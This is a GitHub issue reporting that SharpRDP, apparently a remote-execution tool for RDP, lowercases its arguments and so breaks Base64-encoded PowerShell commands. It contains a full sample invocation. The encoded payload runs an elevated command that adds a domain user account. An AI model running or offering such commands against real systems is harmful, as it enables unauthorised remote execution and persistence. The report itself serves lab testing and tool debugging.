-
Notifications
You must be signed in to change notification settings - Fork 578
Description
I've been experimenting with this in my lab, and among some of the issues that I've encountered (not properly sending =, ', or ", for example) I have tried to switch to having it execute Powershell with Base64 encoded commands. However, since it doesn't preserve case of the commands, the information in the encoded command is garbled.
For example, if I try the following: sharprdp.exe computername=<targetcomputer> exec=cmd command="powershell -enc c3RhcnQtcHJvY2VzcyAiY21kIiAtdmVyYiBydW5hcyAtYXJndW1lbnRsaXN0ICIvayIsIm5ldCB1c2VyIGJsdXJmYSBibHVyZmEgL2RvbWFpbiAvYWRkIg=="
It tries to run powershell -enc c3rhcnqtchjvy2vzcyaiy21kiiatdmvyyibydw5hcyatyxjndw1lbnrsaxn0icivayisim5ldcb1c2vyigjsdxjmysbibhvyzmegl2rvbwfpbiavywrkig==
but the ASCII equivalent of that base64 string is szárz.r.ïËkós&¢Ëmd.&.vkòÊ&òw.as&.Ë.çw enzìk.ô.ȯk(¬.neuÆõskò..ìw.æÊÆân.òÎg .jïo.én&¯Ë ä. whereas the ASCII equivalent of the original command is start-process "cmd" -verb runas -argumentlist "/k","net user blurfa blurfa /domain /add"